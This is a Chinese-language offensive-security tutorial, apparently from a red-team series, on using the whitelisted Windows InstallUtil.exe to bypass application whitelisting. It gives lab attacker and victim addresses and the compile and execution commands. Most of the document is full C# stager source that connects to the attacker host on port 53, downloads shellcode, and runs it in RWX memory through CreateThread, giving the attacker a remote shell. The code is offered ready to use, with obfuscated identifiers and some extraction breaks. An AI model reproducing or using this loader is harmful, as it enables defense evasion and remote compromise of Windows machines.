专注APT攻击与防御

https://micropoor.blogspot.com/

Installutil简介：

Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来

安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。具体参考：Windows Installer部署https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)

说明：Installutil.exe所在路径没有被系统添加PATH环境变量中，因此，Installutil命令无法识别。

基于白名单installutil.exe配置payload：

Windows 7 默认位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

靶机执行：

靶机编译：

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users \John\Desktop\installutil.cs

payload：Micropoor.exe

靶机执行：

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfi le= /LogToConsole=false /U Micropoor.exe

附录：Micropoor.cs注：x64 payload

1 using System; using System.Net; using System.Linq; using System.Net.So ckets; using System.Runtime.InteropServices; using System.Threading; usin g System.Configuration.Install; using System.Windows.Forms;

2 public class GQLBigHgUniLuVx {

3 public static void Main()

4 {

5 while(true)

6 {{ MessageBox.Show("doge"); Console.ReadLine();}}

7 }

8 } 9

10 [System.ComponentModel.RunInstaller(true)]

11 public class esxWUYUTWShqW : System.Configuration.Install.Installer

12 {

13 public override void Uninstall(System.Collections.IDictionary zWrdFAU Hmunnu)

14 {

15 jkmhGrfzsKQeCG.LCIUtRN();

16 }

17 } 18

19 public class jkmhGrfzsKQeCG

20 { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(U Int32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);

21 [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt3

2 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt

32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);

22 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje ct(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);

23 static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) {

24 IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);

25 Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketTyp e.Stream, ProtocolType.Tcp);

26 try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }

27 catch { return null;}

28 byte[] UmquAHRnhhpuE = new byte[4];

29 XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);

30 int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0);

31 byte[] qaYyFq = new byte[kFVRSNnpj + 5];

32 int SRCDELibA = 0;

33 while (SRCDELibA < kFVRSNnpj)

34 { SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj ‐ SRCDELibA) < 4096 ? (kFVRSNnpj ‐ SRCDELibA) : 4096, 0);}

35 byte[] TvvzOgPLqwcFFv = BitConverter.GetBytes((int)XXxIoIXNCle.Handle);

36 Array.Copy(TvvzOgPLqwcFFv, 0, qaYyFq, 1, 4); qaYyFq[0] = 0xBF;

37 return qaYyFq;}

38 static void cmMtjerv(byte[] HEHUjJhkrNS) {

39 if (HEHUjJhkrNS != null) {

40 UInt32 WcpKfU = VirtualAlloc(0, (UInt32)HEHUjJhkrNS.Length, 0x1000, 0 x40);

41 Marshal.Copy(HEHUjJhkrNS, 0, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);

42 IntPtr UhxtIFnlOQatrk = IntPtr.Zero;

43 UInt32 wdjYKFDCCf = 0;

44 IntPtr XVYcQxpp = IntPtr.Zero;

45 UhxtIFnlOQatrk = CreateThread(0, 0, WcpKfU, XVYcQxpp, 0, ref wdjYKFDC Cf);

46 WaitForSingleObject(UhxtIFnlOQatrk, 0xFFFFFFFF); }} 47

48 public static void LCIUtRN() {

49 byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);

50 cmMtjerv(IBtCWU);

51 } }

installutil.snk 596B

Micropoor